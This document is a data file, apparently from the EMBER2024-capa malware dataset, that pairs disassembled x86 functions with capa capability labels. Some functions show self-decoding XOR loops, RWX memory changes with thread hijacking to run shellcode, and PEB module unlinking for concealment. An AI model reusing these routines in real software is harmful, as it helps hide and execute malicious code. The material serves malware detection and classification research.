joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100731a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x100bd0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xd
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x75736a57
push eax
push 0x100ce4d0
mov dword [ebp - 0x10], 0x526d6276
mov dword [ebp - 0xc], 0x7a736676
mov byte [ebp - 8], 0
call fcn.10074730
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
mov eax, 0x100ce4d0
call fcn.100395fd
mov esp, ebp
pop ebp
ret

Function at 0x100731f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x100bd0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xf
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x75736a57
push eax
push 0x100ce030
mov dword [ebp - 0x10], 0x526d6276
mov dword [ebp - 0xc], 0x7a736676
mov word [ebp - 8], 0x7946
mov byte [ebp - 6], 0
call fcn.10074730
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
mov eax, 0x100ce030
call fcn.100395fd
mov esp, ebp
pop ebp
ret

Function at 0x10073390
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x100bd0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xe
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x756a7358
push eax
push 0x100ce688
mov dword [ebp - 0x10], 0x6f704466
mov dword [ebp - 0xc], 0x666d7074
mov word [ebp - 8], 0x42
call fcn.10074730
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
mov eax, 0x100ce688
call fcn.100395fd
mov esp, ebp
pop ebp
ret

Function at 0x100733f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x100bd0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xe
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x756a7358
push eax
push 0x100ce6ac
mov dword [ebp - 0x10], 0x6f704466
mov dword [ebp - 0xc], 0x666d7074
mov word [ebp - 8], 0x58
call fcn.10074730
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
mov eax, 0x100ce6ac
call fcn.100395fd
mov esp, ebp
pop ebp
ret

Function at 0x10073450
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100bd0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xa
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x756a7358
push eax
push 0x100cde0c
mov dword [ebp - 0xc], 0x6d6a4766
mov word [ebp - 8], 0x66
call fcn.10074730
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
mov eax, 0x100cde0c
call fcn.100395fd
mov esp, ebp
pop ebp
ret

Function at 0x100734a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100bd0c0]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x100a7560]
lea eax, [ebp - 0x20]
push 0x1b
push eax
push 0x100ce364
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], 0x54666d6a
mov dword [ebp - 0xc], 0x6f6a7375
mov word [ebp - 8], 0x4268
mov byte [ebp - 6], 0
call fcn.10074730
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
mov eax, 0x100ce364
call fcn.100395fd
mov esp, ebp
pop ebp
ret
Function at 0x10073500
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100bd0c0]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x100a7560]
lea eax, [ebp - 0x20]
push 0x1b
push eax
push 0x100ce348
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], 0x54666d6a
mov dword [ebp - 0xc], 0x6f6a7375
mov word [ebp - 8], 0x5868
mov byte [ebp - 6], 0
call fcn.10074730
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
mov eax, 0x100ce348
call fcn.100395fd
mov esp, ebp
pop ebp
ret

Function at 0x100736f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100bd0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xb
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x66796a6e
push eax
push 0x100cd95c
mov dword [ebp - 0xc], 0x706d4473
mov word [ebp - 8], 0x6674
mov byte [ebp - 6], 0
call fcn.10074730
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
mov eax, 0x100cd95c
call fcn.100395fd
mov esp, ebp
pop ebp
ret

Function at 0x100738d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100bd0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xa
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x66796a6e
push eax
push 0x100cd950
mov dword [ebp - 0xc], 0x66715073
mov word [ebp - 8], 0x6f
call fcn.10074730
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
mov eax, 0x100cd950
call fcn.100395fd
mov esp, ebp
pop ebp
ret

Function at 0x100739d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x100bd0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xd
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x666e6a75
push eax
push 0x100cd990
mov dword [ebp - 0x10], 0x46756654
mov dword [ebp - 0xc], 0x756f6677
mov byte [ebp - 8], 0
call fcn.10074730
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
mov eax, 0x100cd990
call fcn.100395fd
mov esp, ebp
pop ebp
ret

Function at 0x10073a70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100bd0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xb
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x66776278
push eax
push 0x100cd944
mov dword [ebp - 0xc], 0x71506f4a
mov word [ebp - 8], 0x6f66
mov byte [ebp - 6], 0
call fcn.10074730
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
mov eax, 0x100cd944
call fcn.100395fd
mov esp, ebp
pop ebp
ret

Function at 0x10073b10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100bd0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xb
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x71746f78
push eax
push 0x100cd82c
mov dword [ebp - 0xc], 0x756f6a73
mov word [ebp - 8], 0x4267
mov byte [ebp - 6], 0
call fcn.10074730
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
mov eax, 0x100cd82c
call fcn.100395fd
mov esp, ebp
pop ebp
ret
Function at 0x10073b60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100bd0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xb
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x71746f78
push eax
push 0x100cd838
mov dword [ebp - 0xc], 0x756f6a73
mov word [ebp - 8], 0x5867
mov byte [ebp - 6], 0
call fcn.10074730
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
mov eax, 0x100cd838
call fcn.100395fd
mov esp, ebp
pop ebp
ret

Function at 0x10073bb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100bd0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xa
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x73717478
push eax
push 0x100ce9f8
mov dword [ebp - 0xc], 0x67756f6a
mov word [ebp - 8], 0x42
call fcn.10074730
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
mov eax, 0x100ce9f8
call fcn.100395fd
mov esp, ebp
pop ebp
ret

Function at 0x10073c00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100bd0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xa
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x73717478
push eax
push 0x100ce9e0
mov dword [ebp - 0xc], 0x67756f6a
mov word [ebp - 8], 0x58
call fcn.10074730
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
mov eax, 0x100ce9e0
call fcn.100395fd
mov esp, ebp
pop ebp
ret

Function at 0x100925f1
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100922b1

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x100018e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x1f4
lea eax, [ebp - 0x1f8]
push 0
push eax
mov esi, ecx
call fcn.10023e30
add esp, 0xc
lea ecx, [ebp - 0x1fc]
push ecx
push 0x20019
xor ebx, ebx
push ebx
push esi
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10001985
mov ecx, dword [ebp - 0x1fc]
lea edx, [ebp - 0x200]
push edx
lea eax, [ebp - 0x1f8]
push eax
push ebx
push ebx
push edi
push ecx
call esi
test eax, eax
jne 0x10001985
push 0x1f4
push eax
lea edx, [ebp - 0x1f8]
push edx
call fcn.10023e30
mov eax, dword [ebp - 0x1fc]
add esp, 0xc
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
lea eax, [ebx + 1]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x1fc]
lea ecx, [ebp - 0x200]
push ecx
lea edx, [ebp - 0x1f8]
push edx
push 0
push 0
push edi
push eax
call esi
test eax, eax
jne 0x100019dc
push 0x1f4
push eax
lea ecx, [ebp - 0x1f8]
push ecx
call fcn.10023e30
mov edx, dword [ebp - 0x1fc]
add esp, 0xc
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.100204ba
mov esp, ebp
pop ebp
ret

Function at 0x100019f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10c]
push ecx
push 1
push 0
push eax
push connect
mov dword [ebp - 0x110], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
lea eax, [ebp - 0x108]
jne 0x10001a63
lea edx, [ebp - 0x110]
push edx
mov edx, dword [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x114]
push ecx
push 0
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x108]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret

Function at 0x10001a80
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10c]
push ecx
push 1
push 0
push eax
push connect
mov dword [ebp - 0x110], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
lea eax, [ebp - 0x108]
jne 0x10001af3
lea edx, [ebp - 0x110]
push edx
mov edx, dword [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x114]
push ecx
push 0
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x108]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret
Function at 0x10002a20
Capabilities:
Hash data using crc32b

Disassembly:
push ebx
xor edx, edx
push edi
xor eax, eax
test dl, 1
je 0x10002a30
mov eax, 0x80
mov ecx, edx
shr ecx, 1
test cl, 1
je 0x10002a3c
or eax, 0x40
shr ecx, 1
test cl, 1
je 0x10002a46
or eax, 0x20
shr ecx, 1
test cl, 1
je 0x10002a50
or eax, 0x10
shr ecx, 1
test cl, 1
je 0x10002a5a
or eax, 8
shr ecx, 1
test cl, 1
je 0x10002a64
or eax, 4
shr ecx, 1
test cl, 1
je 0x10002a6e
or eax, 2
test cl, 2
je 0x10002a76
or eax, 1
shl eax, 0x18
mov ecx, eax
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
xor edi, edi
mov dword [esi + edx*4], ecx
mov eax, ecx
lea ecx, [edi + 0x1f]
jmp 0x10002b30
test al, 1
je 0x10002b3d
mov ebx, 1
shl ebx, cl
or edi, ebx
dec ecx
shr eax, 1
cmp ecx, 0xffffffff
jg 0x10002b30
mov dword [esi + edx*4], edi
inc edx
cmp edx, 0xff
jle 0x10002a24
pop edi
pop ebx
ret

Function at 0x10002b60
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [eax]
or esi, 0xffffffff
mov dword [ebp - 0x408], edi
push edi
push 0x400
lea eax, [ebp - 0x404]
push 1
push eax
call fcn.1002257a
add esp, 0x10
mov ecx, eax
lea edx, [ebp - 0x404]
test eax, eax
je 0x10002bd0
jmp 0x10002bb0
movzx ebx, byte [edx]
mov edi, esi
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr esi, 8
xor esi, dword [ebx + edi*4]
inc edx
dec ecx
jne 0x10002bb0
mov edi, dword [ebp - 0x408]
cmp eax, 0x400
je 0x10002b84
push edi
call fcn.100229c7
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
mov eax, esi
pop esi
xor ecx, ebp
not eax
pop ebx
call fcn.100204ba
mov esp, ebp
pop ebp
ret 8
Function at 0x10002c00
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x10041890
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [esi], 0xffffffff
mov dword [ebp - 4], 0
call fcn.10021cbb
add esp, 0xc
test eax, eax
je 0x10002c31
xor al, al
mov esp, ebp
pop ebp
ret 4
push edi
push 0x400
call fcn.10021212
mov edi, eax
add esp, 4
mov dword [ebp - 8], edi
test edi, edi
jne 0x10002c5d
mov edx, dword [ebp - 4]
push edx
call fcn.100229c7
add esp, 4
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
push eax
push 0x400
push 1
push edi
call fcn.1002257a
add esp, 0x10
test eax, eax
je 0x10002cba
push ebx
mov ecx, eax
mov edx, edi
test eax, eax
je 0x10002ca1
mov edi, edi
mov eax, dword [esi]
movzx ebx, byte [edx]
mov edi, eax
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr eax, 8
xor eax, dword [ebx + edi*4]
inc edx
dec ecx
mov dword [esi], eax
jne 0x10002c80
mov edi, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push ecx
push 0x400
push 1
push edi
call fcn.1002257a
add esp, 0x10
test eax, eax
jne 0x10002c76
pop ebx
push edi
call fcn.10021023
mov edx, dword [ebp - 4]
push edx
call fcn.100229c7
mov eax, dword [esi]
not eax
add esp, 8
mov dword [esi], eax
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x10002ce0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x10041888
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [esi], 0xffffffff
mov dword [ebp - 4], 0
call fcn.10020587
add esp, 0xc
test eax, eax
je 0x10002d11
xor al, al
mov esp, ebp
pop ebp
ret 4
push edi
push 0x400
call fcn.10021212
mov edi, eax
add esp, 4
mov dword [ebp - 8], edi
test edi, edi
jne 0x10002d3d
mov edx, dword [ebp - 4]
push edx
call fcn.100229c7
add esp, 4
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
push eax
push 0x400
push 1
push edi
call fcn.1002257a
add esp, 0x10
test eax, eax
je 0x10002d9a
push ebx
mov ecx, eax
mov edx, edi
test eax, eax
je 0x10002d81
mov edi, edi
mov eax, dword [esi]
movzx ebx, byte [edx]
mov edi, eax
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr eax, 8
xor eax, dword [ebx + edi*4]
inc edx
dec ecx
mov dword [esi], eax
jne 0x10002d60
mov edi, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push ecx
push 0x400
push 1
push edi
call fcn.1002257a
add esp, 0x10
test eax, eax
jne 0x10002d56
pop ebx
push edi
call fcn.10021023
mov edx, dword [ebp - 4]
push edx
call fcn.100229c7
mov eax, dword [esi]
not eax
add esp, 8
mov dword [esi], eax
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x10003710
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003c638
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov ebx, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x10003775
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.100034c0
mov ecx, esi
call fcn.10003570
mov ecx, esi
call fcn.10003650
cmp dword [ebp + 0x1c], 0x10
jb 0x100037a1
mov eax, dword [ebp + 8]
push eax
call fcn.100204af
add esp, 4
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret

Function at 0x100039b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push edi
call ebx
mov ecx, dword [ebp + 8]
push esi
push ecx
push edi
call fcn.10023590
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push esi
push edi
call ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003b10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push edi
call ebx
push esi
push 0xc3
push edi
call fcn.10023e30
mov edx, dword [ebp - 4]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push edx
push esi
push edi
call ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003c00
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
push esi
mov ecx, 0xd6
xor eax, eax
mov edi, edi
mov dl, byte [eax + 0x1004189c]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x10003c20
lea eax, [ebp - 0x18]
push eax
mov ecx, 0x3f689d43
lea eax, [ebp - 0x24]
mov byte [ebp - 6], 0
call fcn.1001af50
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x2f4]
push ecx
push 0x40
mov esi, eax
xor eax, eax
push 0x100
push esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
mov byte [ebp - 6], al
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea edx, [ebp - 0x2f0]
push edx
mov ebx, 0x10002
push esi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
push eax
push esi
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.100204ba
mov esp, ebp
pop ebp
ret

Function at 0x10003d00
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x10003d48
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10003d4c
cmp edx, esi
jne 0x10003d31
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x10003d6c
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10003d70
cmp edx, esi
jne 0x10003d55
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x10003d90
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10003d94
cmp edx, esi
jne 0x10003d79
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003da0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0xdd
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + 0x100418bc]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x120], dl
inc eax
and ecx, 0xff
cmp eax, 0x16
jb 0x10003dd0
mov byte [ebp - 0x10a], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x108]
push ecx
call fcn.100206fd
add esp, 0xc
push 0
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.10023e30
add esp, 0xc
jmp dword [pe_dos_header]